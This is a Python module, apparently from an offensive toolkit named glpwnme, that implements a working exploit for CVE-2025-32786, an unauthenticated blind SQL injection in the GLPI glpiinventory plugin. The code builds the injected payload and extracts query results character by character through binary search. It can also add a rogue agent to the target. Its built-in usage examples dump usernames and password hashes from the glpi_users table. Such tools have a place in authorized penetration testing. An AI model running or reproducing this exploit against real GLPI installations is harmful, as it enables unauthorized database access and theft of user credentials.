from enum import Enum
from http import HTTPStatus
from urllib.parse import quote
from glpwnme.exploits.requirements import DefaultVersion
from glpwnme.exploits.plugin_exploit import PluginExploit
from glpwnme.exploits.logger import Log

class CVE_2025_32786(PluginExploit):
    """
    This CVE abuses a SQL Injection in glpiinventory plugin

    @author RIOUX Guilhem
    @cvss 7.2
    @name CVE_2025_32786
    """
    plugin_name = "glpiinventory"
    max_plugin_version = "1.5.1"
    _impacts = "Unauthenticated SQL Injection"
    device_id = "4565463212316513515"

    def infos(self):
        """
        This method is used to display the information of an exploit.
        This method support rich formatting

        :return: The whole informations about an exploit
        :rtype: str
        """
        infos = "[u]Description:[/u]\n"
        infos += "This exploit abuse a SQL Injection.\n"
        infos += "It uses boolean-based method to extract data.\n"

        infos += "\n[u]Params:[/u]\n"
        infos += " - [italic]sql (default 'SELECT VERSION()')[/italic]: The SQL command to execute\n"
        infos += " - [italic]agent_id (default '1')[/italic]: The id of an existing agent\n"

        infos += "\n[u]Usage:[/u]\n"
        infos += "[grey66]# Execute the sql query `select user()` on the target[/]\n"
        infos += "--run -O sql='select user()'\n\n"
        infos += "[grey66]# Query for recovering only non null password of a table[/]\n"
        infos += "--run -O sql=\"SELECT CONCAT(name,':',password) FROM glpi_users WHERE password IS NOT NULL AND password <> '' LIMIT 1 OFFSET 1\"\n\n"
        infos += "[grey66]# Query for recovering all username using agent_id[/]\n"
        infos += "--run -O sql=\"SELECT GROUP_CONCAT(name) FROM glpi_users\" agent_id=2\n"

        infos += "\n[u]Note:[/u]\n"
        infos += "The vulnerability works against both [b]glpiinventory[/b] and [b]fusioninventory[/b].\n"
        infos += "However the exploit is not implemented for [b]fusioninventory[/b].\n"
        infos += "[b]For this exploit to work, you requires a valid agent id.[/b]\n"

        infos += "\nExploit is [green b]Safe[/]"
        return infos

    def get_plugin_version(self):
        """
        Function that retrieve the version of the plugin
        By default this function return the version of plugin_name.xml
        """
        res = self.plugin_get(f"/front/plugin_fusioninventory.communication.php?action=yest&machineid=45645",
                              allow_redirects=False)
        header = res.headers.get("server-type")
        if header:
            version = header.strip().split(" ")[-1]
            return version
        return None

    def _plugins_exists(self, endpoint):
        """
        Check if the plugin exists given an endpoint, set the attribute to know that
        the plugin actually exists, and returns it at every other calls

        :return: True if the plugin exists, False otherwise
        :rtype: bool
        :meta: public
        """
        res = self.get(f"/{endpoint}/{self.__class__.plugin_name}/front/plugin_fusioninventory.communication.php?action=yest&machineid=45645",
                       allow_redirects=False)
        if res.status_code != HTTPStatus.NOT_FOUND:
            return True
        return False

    def _build_payload(self, sql, agent_id):
        """
        Build the sql payload

        :param sql: The sql payload to extract (SELECT VERSION())
        :type sql: str
        """
        template_payload = "' OR id=(SELECT(IF({sql},{agent_id},NULL))) OR deviceid=(SELECT(IF({sql},{machine_id},NULL))); -- -'"
        payload_sql = "?action=setStatus&"
        payload_sql += "machineid=" + quote(template_payload.format(sql=sql,
                                                                    agent_id=agent_id,
                                                                    machine_id=self.__class__.device_id))
        payload_sql += "&uuid=test&sendheaders=1"
        return payload_sql

    def _is_result_ok(self, res):
        """
        Check if the sql injection works
        The result shall be 200 when success else 400
        """
        return res.status_code == HTTPStatus.OK

    def _add_agent(self):
        """
        Add an agent on remote target

        :return: The success of the operation
        :rtype: bool
        """
        payload_xml = f"<?xml version='1.0' encoding='UTF-8'?><REQUEST><deviceid>{self.__class__.device_id}</deviceid><QUERY>contact</QUERY></REQUEST>"
        res = self.plugin_post("/front/plugin_fusioninventory.communication.php/ajax/",
                               data=payload_xml)
        return res.text.lower().find("<status>ok</status>") >= 0

    def _run_sql_payload(self, payload, agent_id):
        """
        Workflow for running sql payload
        """
        payload = self._build_payload(payload, agent_id)
        result = self.plugin_get("/b/deploy/index.php" + payload, allow_redirects=False)
        return self._is_result_ok(result)

    def count_char(self, sql, agent_id):
        """
        Count how many chars contains the result
        The length will be calculate through Dichotomie

        :param sql: The sql payload given by the user
        :type sql: str

        :return: The number of char in the result
        :rtype: int
        """
        length_payload = f"LENGTH({sql})>{{length}}"
        previous_length = 0
        try_length = 20
        max_iter = 11
        for i in range(max_iter):
            if self._run_sql_payload(length_payload.format(length=str(try_length)), agent_id):
                previous_length = try_length
                try_length *= 2

            elif i == max_iter-1:
                Log.err(f"Max iterations reached, aborting, size exceeding: {str(try_length)}")
                exit(1)
            else:
                break

        return self.dichotomi(length_payload, previous_length, try_length, agent_id)

    def dichotomi(self, payload, previous_length, try_length, agent_id):
        """
        Run dichotomi research from a payload
        The payload must contains a placeholder {length}
        """
        while previous_length <= try_length:
            mid = (try_length + previous_length) // 2
            result = self._run_sql_payload(payload.format(length=str(mid)), agent_id)
            if result:
                previous_length = mid + 1
            else:
                try_length = mid-1
        return previous_length

    def sqli(self, payload, length_result, agent_id):
        """
        Exploit the sqli boolean based
        """
        res = ""
        partial_res = ""
        for i in range(1, length_result + 1):
            char_payload = f"ASCII(SUBSTR({payload}, {i}, 1))>{{length}}"
            partial_res += chr(self.dichotomi(char_payload, 0, 255, agent_id))
            Log.msg(f"Current result: [gold3]{partial_res}[/]", end="\r")
            if len(partial_res) > 50:
                res += partial_res
                partial_res = ""
                print()
        res += partial_res
        return res

    def run(self, sql="SELECT VERSION()", agent_id="1"):
        """
        Run the exploit on the target
        """
        if not self.check():
            Log.err("Target is not vulnerable")
            return False

        res = self.plugin_get("b/deploy/index.php")
        if 'Inventory is disabled' in res.text:
            Log.err("It seems inventory is installed but not enabled...")
            exit()

        if not self.glpi_plugin_version:
            Log.err("Cannot recover plugin version, plugin is not enabled")
            exit()

        sql = f"({sql})"

        Log.msg(f"Executing SQL Payload: {sql}")
        length_result = self.count_char(sql, agent_id)

        if length_result == 0:
            Log.err(f"Result is empty")
            Log.log("Maybe no agent are available on the target")
            if input("Do you wanna try to add an agent (requires inventory enable) ? (y/n) ").lower() == "y":
                Log.log("Trying to add an agent on the target")
                if self._add_agent():
                    Log.msg(f"Successfully added agent")
                    self._write_log(f"Agent added with device_id: {self.__class__.device_id}")
                    length_result = self.count_char(sql, agent_id)
                    if length_result == 0:
                        Log.err("Every attempts failed...")
                else:
                    Log.err("Failed to add agent")

            else:
                exit(1)

        Log.msg(f"Length of result: {length_result}")
        result = self.sqli(sql, length_result, agent_id)
        print(f"\x1b[K", end="\r")
        Log.msg(f"Final result:\n{result}")
